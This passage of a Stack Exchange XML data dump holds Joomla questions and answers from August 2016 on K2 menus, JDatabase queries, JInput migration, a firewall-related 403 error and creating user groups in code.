  <row Id="17586" PostTypeId="2" ParentId="17585" CreationDate="2016-08-19T00:05:44.927" Score="1" Body="&lt;p&gt;You can create a profile plugin to add additional registration and profile fields. The official documentation is at: &lt;a href=&quot;https://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Creating_a_profile_plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are uncomfortable editing XML files etc, then it may be easier to use a third party extension such as &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/easy-profile&quot; rel=&quot;nofollow&quot;&gt;Easy Profile&lt;/a&gt; (commercial extension), &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/joom-profile&quot; rel=&quot;nofollow&quot;&gt;Joom Profile&lt;/a&gt; (commercial extension) or even &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/clients-a-communities/communities/community-builder&quot; rel=&quot;nofollow&quot;&gt;Community Builder&lt;/a&gt; (free but probably overkill for what you are after).&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-08-19T00:05:44.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17588" PostTypeId="2" ParentId="17447" CreationDate="2016-08-19T06:13:07.547" Score="3" Body="&lt;p&gt;I posted the issue on k2 forum and got the answer. Following is the issue's reason and solution:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In Helix Framework, when we create a menu item of type &lt;code&gt;item edit form&lt;/code&gt;. It throws an error. So, this is the template issue. This option works fine in default joomla template.&lt;/li&gt;&#xA;&lt;li&gt;If you want to allow users to submit article from frontend using a menu item, then in Helix, go to &lt;code&gt;Menu manager &amp;gt; menu item &amp;gt; set target window option to new window with navigation&lt;/code&gt;. Only then it will work.&lt;/li&gt;&#xA;&lt;li&gt;The best option is to use the login module of k2. When a user logs in, he can submit a new article by the option &lt;code&gt;post new item&lt;/code&gt; in the user page or &lt;code&gt;add item&lt;/code&gt; in the module. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-08-19T06:13:07.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17589" PostTypeId="1" AcceptedAnswerId="17591" CreationDate="2016-08-19T09:24:47.223" Score="1" ViewCount="351" Body="&lt;p&gt;My main menu is: Home | Software | Contact  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two K2 items in 'Software' category: Soft1 and Soft2. I want to make the Soft1 and Soft2 appear as submenus in the 'Software' menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Software menu is set like this:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;menu is K2&lt;/li&gt;&#xA;&lt;li&gt;'Menu Item Type = Categories'  &lt;/li&gt;&#xA;&lt;li&gt;'Select categories = Software'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Problems:&lt;br&gt;&#xA;1. The Soft1 and Soft2 submenus will appear but not under the 'Software' main menu but on the right side of the site.&lt;br&gt;&#xA;2. The Soft1 and Soft2 submenus will appear all the time, no matter in which section/page I am (Home, Software, Contact).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ph3fc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ph3fc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8875" LastEditorUserId="8875" LastEditDate="2016-08-19T09:32:31.413" LastActivityDate="2016-08-19T09:57:28.800" Title="How to add submenus to a menu?" Tags="|joomla-3.x|k2|menu|menu-item|submenu|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17591" PostTypeId="2" ParentId="17589" CreationDate="2016-08-19T09:57:28.800" Score="2" Body="&lt;p&gt;&lt;strong&gt;Beez&lt;/strong&gt; template doesnt support dropdown menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use different templates also if the Beez template is important then you can install menu extension to work with the same template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some free extensions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/structure-a-navigation/menu-systems/maxi-menu-ck&quot; rel=&quot;nofollow&quot;&gt;Maxi Menu&#xA;CK&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/structure-a-navigation/menu-systems/jb-dropdown-menu-for-bootstrap&quot; rel=&quot;nofollow&quot;&gt;JMZ Dropdown Menu&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-08-19T09:57:28.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17592" PostTypeId="1" AcceptedAnswerId="17602" CreationDate="2016-08-19T10:06:39.807" Score="0" ViewCount="1118" Body="&lt;p&gt;I need dropdown menu support to Beez template? Can it be done? The other default template (protostart) already has support for dropdown menus but it sucks: it is very difficult to click a sub-menu, it simply disappear if you don't position the mouse properly. &lt;/p&gt;&#xA;" OwnerUserId="8875" LastActivityDate="2016-08-19T22:43:59.733" Title="How to add dropdown menu support to Beez template?" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="1" ClosedDate="2016-08-20T00:51:33.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="17593" PostTypeId="1" AcceptedAnswerId="17595" CreationDate="2016-08-19T10:40:10.423" Score="3" ViewCount="173" Body="&lt;p&gt;I have &lt;code&gt;Jdatabase table&lt;/code&gt; having attendance data of all my students.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;EXAMPLE :&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WiUgV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WiUgV.png&quot; alt=&quot;table&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display the attendance of all roll numbers for class 3. The records having 3 in &lt;code&gt;attended_no&lt;/code&gt; column were present and records not having 3 in the &lt;code&gt;attended_no&lt;/code&gt; column were absent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be the output :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ABC-12-21&lt;/code&gt; &lt;code&gt;Present&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ABC-12-24&lt;/code&gt; &lt;code&gt;Present&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ABC-12-29&lt;/code&gt; &lt;code&gt;Absent&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ABC-12-37&lt;/code&gt; &lt;code&gt;Absent&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ABC-12-42&lt;/code&gt; &lt;code&gt;Present&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="383" LastEditDate="2016-08-19T17:37:09.517" LastActivityDate="2018-06-18T06:11:22.133" Title="Jdatabase : Sorting two selections?" Tags="|mysql|jdatabase|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17594" PostTypeId="2" ParentId="17593" CreationDate="2016-08-19T10:52:59.730" Score="1" Body="&lt;p&gt;In a similar way, you have to compose a query to return the results that your require. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT P.roll_num+A.roll_num FROM PRESENT P, ABSENT A &#xA;WHERE &#xA;P.subject_co = A.subject_co AND P.flag = 1 AND A.flag = 0&#xA;ORDER BY P.subject_co&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case, you are looking to return a UNION of your previous queries, it is even simpler:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using the union methods in database queries&lt;/strong&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Using_the_union_methods_in_database_queries&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_the_union_methods_in_database_queries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-08-19T10:52:59.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17595" PostTypeId="2" ParentId="17593" CreationDate="2016-08-19T10:59:20.550" Score="4" Body="&lt;p&gt;I don't believe you need to use 2 queries. try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(array('roll_no', 'attended_no'))&#xA;      -&amp;gt;from($db-&amp;gt;qn('#__attendance'))&#xA;      -&amp;gt;order('roll_no ASC');&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;foreach ($results as $row)&#xA;{&#xA;    $array = explode(',', $row-&amp;gt;attendance_no); // convert commas to array&#xA;    $flag  = in_array(3, $array);               //check if '3' in in the array&#xA;&#xA;    if ($flag == null)&#xA;    {&#xA;        $flag='absent';&#xA;    }&#xA;    else&#xA;    {&#xA;        $flag='present';&#xA;    }&#xA;&#xA;    echo '&amp;lt;li&amp;gt;' . $row-&amp;gt;roll_no . ' : ' . $flag . '&amp;lt;/li&amp;gt;';&#xA;}&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2018-01-07T09:50:35.630" LastActivityDate="2018-01-07T09:50:35.630" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17596" PostTypeId="1" AcceptedAnswerId="17597" CreationDate="2016-08-19T15:51:10.353" Score="1" ViewCount="3824" Body="&lt;p&gt;I have an article that I want to link to directly using html rather than create a menu item that links to it. I was able to do this in Drupal but when I try the same thing in Joomla it doesn't seem to work, i.e. when I type in &lt;code&gt;www.mysite.com/legal-notice&lt;/code&gt; I get a 404 error. If I add the article as a menu item then I can do this, but then I notice that the menu item has an alias as well, which is the same, so maybe it is just that that I am navigating to rather than the article alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this just something you can't do in Joomla? Surely not? I have SEF urls turned on, btw.&lt;/p&gt;&#xA;" OwnerUserId="7309" LastActivityDate="2016-08-19T16:34:59.990" Title="Can't browse directly to article alias" Tags="|joomla-3.x|alias|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17597" PostTypeId="2" ParentId="17596" CreationDate="2016-08-19T16:34:59.990" Score="1" Body="&lt;p&gt;Unfortunately, there's no simple way to achieve what you want. When you create a menu item, your link goes to the menu item alias, not to the article alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need a menu item for your article, but you don't have to &lt;strong&gt;show&lt;/strong&gt; the menu item. This can be achieved in two ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hidden menu&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new menu (&lt;strong&gt;Menus&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Manage&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Add New Menu&lt;/strong&gt;). Call it anything you want, e.g. &quot;Hidden menu&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Create a menu item linking to your article, and set the alias to what you want the URL to be, like &lt;code&gt;legal-notice&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;That's it, you can now view your article at &lt;code&gt;www.mysite.com/legal-notice&lt;/code&gt;, even if the menu isn't displayed anywhere on your website.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Invisible menu item&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a menu item in your main menu, linking to your article, and set the alias to what you want the URL to be, like &lt;code&gt;legal-notice&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &quot;Link Type&quot; tab, set &quot;Display in Menu&quot; to &lt;strong&gt;No&lt;/strong&gt;. This will hide your menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JCSBN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JCSBN.jpg&quot; alt=&quot;Display in Menu&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;That's it, you can now view your article at &lt;code&gt;www.mysite.com/legal-notice&lt;/code&gt;, even if the menu item isn't displayed anywhere on your website.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-08-19T16:34:59.990" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17598" PostTypeId="1" AcceptedAnswerId="17627" CreationDate="2016-08-19T17:18:30.397" Score="2" ViewCount="488" Body="&lt;p&gt;I have a plugin that's doing Ajax calls. It constructs a FQDN for making the call using JURI::base().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's happening is sometimes is using www.somedomain.com, and other times it's using a different virtual host name www.somedomain.st.us. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.somedomain.st.us has a CNAME dns record that points to www.somedomain.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see a host (not the one demonstrating the problem) at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://joomla.connectdaily.com/index.php/calendar&quot; rel=&quot;nofollow&quot;&gt;http://joomla.connectdaily.com/index.php/calendar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That page displays a calendar. The AJAX code that handles the navigation arrow clicks is around line 189 of the page source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PHP code that creates the URL is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getAjaxURL($addlParms=null){&#xA;  $result=$this-&amp;gt;getSiteUrl().'index.php?option=com_ajax&amp;amp;plugin=connectdaily&amp;amp;group=content';&#xA;  if ($addlParms!=null) {&#xA;    $result.='&amp;amp;'.$addlParms;&#xA;  }&#xA;  return $result;&#xA;}&#xA;&#xA;public function getSiteUrl() {&#xA;  $res=JURI::base();&#xA;  if (strpos($res,&quot;/administrator/&quot;)&amp;gt;0) {&#xA;     $res=substr($res,0,strlen($res)-14);&#xA;  }&#xA;  return $res;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sometimes getSiteURL() returns www.somedomain.com, and other times (it seems random) it returns www.somedomain.st.us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experience or knowledge about this? Can one plugin or module change the value returned?&lt;/p&gt;&#xA;" OwnerUserId="7997" LastEditorUserId="7997" LastEditDate="2016-08-20T14:12:43.800" LastActivityDate="2016-08-22T16:29:18.843" Title="JURI::base() and Virtual Hosts - Different Answers?" Tags="|joomla-3.5|virtualhost|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17600" PostTypeId="1" CreationDate="2016-08-19T21:22:18.407" Score="1" ViewCount="216" Body="&lt;p&gt;While updating to Joomla 3.6.2, Joomla thoughtfully installed a second but unwanted menu item into the Components menu. Both show the same URL for link. Is there any way to remedy this?&lt;/p&gt;&#xA;" OwnerUserId="8886" LastActivityDate="2016-09-18T23:20:52.920" Title="How to Remove Duplicate Joomla Update Menu Item?" Tags="|menu-item|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17601" PostTypeId="2" ParentId="17600" CreationDate="2016-08-19T22:41:26.157" Score="2" Body="&lt;p&gt;you could always removed it from the database, go to table &lt;code&gt;xxx_extensions&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and remove the relevant entry &lt;/p&gt;&#xA;" OwnerUserId="1582" LastActivityDate="2016-08-19T22:41:26.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17602" PostTypeId="2" ParentId="17592" CreationDate="2016-08-19T22:43:59.733" Score="1" Body="&lt;p&gt;Here is a link to an extension in JED&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/ari-ext-menu&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/ari-ext-menu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;its a simple drop down menu which is very easily styled, i have used it a number of times.&lt;/p&gt;&#xA;" OwnerUserId="1582" LastActivityDate="2016-08-19T22:43:59.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17603" PostTypeId="1" AcceptedAnswerId="17604" CreationDate="2016-08-20T13:15:42.607" Score="1" ViewCount="599" Body="&lt;p&gt;I'am updating code for Joomla! 3.5/3.6. I want to replace the following JRequest call by JInput, but i don't know the method i should use for that :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$return = base64_decode(JRequest::getVar('return', '', 'method', 'base64'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following is the correct replacement : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$return = $app-&amp;gt;input-&amp;gt;getbase64('return');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2016-08-20T14:53:07.850" Title="Replacement of JRequest::getVar('return', '', 'method', 'base64')" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17604" PostTypeId="2" ParentId="17603" CreationDate="2016-08-20T13:40:30.953" Score="1" Body="&lt;p&gt;You can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;$return = base64_decode($input-&amp;gt;get('return', '', 'BASE64'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-08-20T14:53:07.850" LastActivityDate="2016-08-20T14:53:07.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17605" PostTypeId="1" AcceptedAnswerId="17608" CreationDate="2016-08-20T15:32:11.203" Score="1" ViewCount="1356" Body="&lt;p&gt;When i wanna save changes that I've made in global configuration, 403 error page comes up. This error also comes up in some other places. Recently I've installed &quot;JCH plugin&quot; &quot;rs firewall&quot; . I have &quot;admin tools&quot; too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;403&#xA;Forbidden&#xA;&#xA;Access to this resource on the server is denied!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8738" LastActivityDate="2016-08-21T04:35:31.183" Title="403 error while saving in global configuration" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17606" PostTypeId="1" AcceptedAnswerId="17607" CreationDate="2016-08-20T16:15:14.663" Score="4" ViewCount="1626" Body="&lt;p&gt;I want to new a user group by php, I think there should be an API ready but I just can't find an example code by google. &#xA;I have the parent group name and ID, and the new group title is ready, what object should I get and how to create the new user group?&#xA;If there is no API for this, I might just access the #_Usergroups, but I am worry I'll mess uo the lft, rgt columns. &#xA;If someone could show me, or have any other suggestions, an example cold would be great.&lt;/p&gt;&#xA;" OwnerUserId="8889" LastActivityDate="2016-08-20T20:05:16.323" Title="How to create user group programmatically?" Tags="|joomla-3.5|user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17607" PostTypeId="2" ParentId="17606" CreationDate="2016-08-20T20:05:16.323" Score="6" Body="&lt;p&gt;You can add the group by directly invoking the save function in com_users component model.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$group = array('id'=&amp;gt;0, 'title'=&amp;gt;'Group Title', 'parent_id'=&amp;gt;1);&#xA;JLoader::import('joomla.application.component.model');&#xA;JLoader::import('group', JPATH_ADMINISTRATOR.'/components/com_users/models');&#xA;$groupModel = JModelLegacy::getInstance( 'Group', 'UsersModel' );&#xA;&#xA;if(! $groupModel-&amp;gt;save($group) )&#xA;{&#xA;   JFactory::getApplication()-&amp;gt;enqueueMessage($groupModel-&amp;gt;getError());&#xA;   return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-08-20T20:05:16.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17608" PostTypeId="2" ParentId="17605" CreationDate="2016-08-21T00:40:42.847" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/support/admin-tools/12915-repair-a-optimise-tables-403-access-forbidden.html#p75304&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apparently&lt;/a&gt; RS Firewall filters back-end requests. If this feature can't be disabled, the first thing I'd try is to disable or remove RS Firewall to see if this solves the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you have the Pro version of Admin Tools, then you may have two web application firewalls enabled on your website. This is a bit like installing two virus protection programs on your computer and is a recipe for disaster (both programs trying to scrutinise the same incoming requests at the same time). I'd be inclined to keep one of Admin Tools Pro or RS Firewall (but not both).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other things to try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;update to the latest version of Joomla (if you haven't already)&lt;/li&gt;&#xA;&lt;li&gt;update third party extensions to the latest versions (if you haven't already)&lt;/li&gt;&#xA;&lt;li&gt;clear the Joomla cache&lt;/li&gt;&#xA;&lt;li&gt;clear your web browser cache&lt;/li&gt;&#xA;&lt;li&gt;temporarily switch to an alternative admin template to see if this helps&lt;/li&gt;&#xA;&lt;li&gt;temporarily switch to an alternative PHP version to see if this helps (e.g. if you are on PHP 7, switch back to 5.6)&lt;/li&gt;&#xA;&lt;li&gt;temporarily disable any third party administrator modules (choose Administrator from the drop down filter at &lt;code&gt;Extensions -&amp;gt; Modules&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;temporarily disable any third party plugins to see if this helps&lt;/li&gt;&#xA;&lt;li&gt;rename your &lt;code&gt;.htaccess&lt;/code&gt; file to &lt;code&gt;.htaccess.old&lt;/code&gt; and copy the default&#xA;&lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt; to test if the issue may be caused by&#xA;something in your &lt;code&gt;.htaccess&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;li&gt;try temporarily disabling &lt;code&gt;mod_security&lt;/code&gt; if it is loaded (see &lt;a href=&quot;https://joomla.stackexchange.com/a/9638/120&quot;&gt;https://joomla.stackexchange.com/a/9638/120&lt;/a&gt; and &lt;a href=&quot;https://joomla.stackexchange.com/a/4969/120&quot;&gt;https://joomla.stackexchange.com/a/4969/120&lt;/a&gt; for examples of how to do this)&lt;/li&gt;&#xA;&lt;li&gt;back up your website and try running a manual install of the latest&#xA;joomla install file for your version of Joomla e.g.&#xA;Joomla_3.6.2-Stable-Full_Package.zip as per the manual install&#xA;procedure at&#xA;&lt;a href=&quot;https://docs.joomla.org/Updating_Joomla_%28Manual_Method%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Updating_Joomla_%28Manual_Method%29&lt;/a&gt; or similar&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-08-21T04:35:31.183" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17611" PostTypeId="1" AcceptedAnswerId="17613" CreationDate="2016-08-21T13:27:48.083" Score="3" ViewCount="1504" Body="&lt;p&gt;I have a &lt;code&gt;Jdatabase&lt;/code&gt;table having a &lt;em&gt;comma separated field&lt;/em&gt;. What would be the best way (according to &lt;strong&gt;Joomla coding standards&lt;/strong&gt;) to count the number of elements separated by commas. Like in the case below :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;id&lt;/code&gt; &lt;code&gt;comma separated values&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;01&lt;/code&gt; &lt;code&gt;(2,5,6,7,8,9,21,24,28)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should return : &lt;strong&gt;9&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am not wrong, one of the ways to achieve it using &lt;code&gt;mysql&lt;/code&gt; would be this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT (LENGTH(column_name) - LENGTH(REPLACE(column_name,&quot;,&quot;,&quot;&quot;)) + 1) AS MyColumnCounts&#xA;FROM table_name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But is this the best way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="383" LastEditDate="2016-08-21T19:21:49.040" LastActivityDate="2018-06-18T05:43:46.257" Title="Jdatabase : Counting number of elements in a comma separated field" Tags="|mysql|jdatabase|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17612" PostTypeId="1" CreationDate="2016-08-21T14:59:59.257" Score="1" ViewCount="220" Body="&lt;p&gt;I am writing a component for site side and having some troubles with router. I have 2 views in one component, both them have only one &lt;em&gt;default.php&lt;/em&gt; template and &lt;em&gt;default.xml&lt;/em&gt; to define menu type for each view (for ex. let's call them views (1) and (2) ). It is also SEF turned on at site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, first view (1) is url-independant: it only shows some text info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second view (2) also shows some data from DB; It can pass user to itself with new parameter (for ex. &lt;code&gt;&amp;amp;cityid=5&lt;/code&gt; ) to show the data of some other kind (the same DB query, but with extra filters, in our case, e.g. &lt;code&gt;'... WHERE (...) AND cityid=&quot;5&quot;'&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two page (menu items) on site with first (1) and second (2) views respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I started to write the Router.php, I found that &lt;code&gt;[component]BuildRoute(&amp;amp;$query)&lt;/code&gt; function's parameter $query doesn't contain &lt;code&gt;$query['view']&lt;/code&gt; member. It contains 'option' and 'Itemid', but there is no 'view' member, so I can't pass it to function's result (therefore, there is the same situation with &lt;code&gt;[component]ParseRoute&lt;/code&gt;: it won't recieve the 'view' parameter, so I can't pass it to Joomla it to display correct view (first (1) or second (2))). So, if we would forget about the 'view' parameter, Joomla displays the default view, which is first (1) view in my case, but I need it to be the second (2) view (look above). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. The fact is that &lt;code&gt;JRequest::getVar('view')&lt;/code&gt; returns correct value, but it is not passed in &lt;code&gt;$query&lt;/code&gt; array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. May be I am doing something totaly wrong, 'cause I am new to Joomla. Then, please, help me to realize the model I described in top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx in advance.&lt;/p&gt;&#xA;" OwnerUserId="8891" LastActivityDate="2016-08-21T22:14:48.800" Title="[com]BuildRoute(&amp;$query) function is called with no $query['view'] member passed" Tags="|url|sef|jroute|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17613" PostTypeId="2" ParentId="17611" CreationDate="2016-08-21T18:51:32.870" Score="3" Body="&lt;p&gt;One approach would be the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$id = 20; // Example ID&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;qn('roll_no'))&#xA;      -&amp;gt;from($db-&amp;gt;qn('#__table_name'))&#xA;      -&amp;gt;where($db-&amp;gt;qn('Id') . ' = '. $id);&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then explode the result into an array, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$array = explode(',', $result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then count the items in the array, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$count = count($array);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-08-21T18:51:32.870" 